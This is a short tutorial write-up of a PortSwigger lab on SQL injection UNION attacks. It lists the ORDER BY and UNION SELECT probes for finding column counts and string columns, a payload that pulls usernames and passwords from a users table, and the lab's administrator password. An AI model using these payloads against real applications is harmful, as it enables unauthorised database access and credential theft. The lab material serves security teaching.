SQL injection UNION attack to retrieve interesting data

Once you have identified the number of columns required in your injected query, and have found which column can hold string data, you are in a position to extract interesting data. However you need to know the column names and table name containing the data that you are targeting to retrieve. Without this information you would be left trying to guess the names of columns and tables. In fact, the main enterprise DBMS s contain a rich amount of database metadata that you can query to discover the names of every table and column within the database.

Let’s solve the PortSwigger Lab-5 SQL injection UNION attack, retrieving data from other tables

Information

Table name: users

Column names: username, password

Task: Login as the administrator user.

STEP #1

Determine the number of columns returned by the original query

' ORDER BY 1--

' ORDER BY 2--

' ORDER BY 3--

' ORDER BY 3--                          -> Returns an error message.

Therefore number of columns returned by the original query is 2

STEP #2

Discover the column that has a data type string.

' UNION SELECT 'a', NULL--

' UNION SELECT 'a', 'a' --

' UNION SELECT 'a', NULL -> Returns 200 response code
and
' UNION SELECT 'a', 'a' -> Returns 200 response code

Therefore column 1 and 2 both have the string data type.

STEP #3

Query the database to retrieve interesting data.

Since you know the table name and column names, you can construct an UNION attack to retrieve data from the database.

' UNION SELECT username, password FROM users --

STEP #4

Login as administrator user.

Username: administrator
Password: m9jfyn4hxpmghi2blhze

NOTE

In real world scenarios, you need to find

• Number of columns returned by the original query
• Columns that has the data type string
• Database type and version
• Table name
• Column names

To construct the UNION attack. You can learn all steps in upcoming blog posts.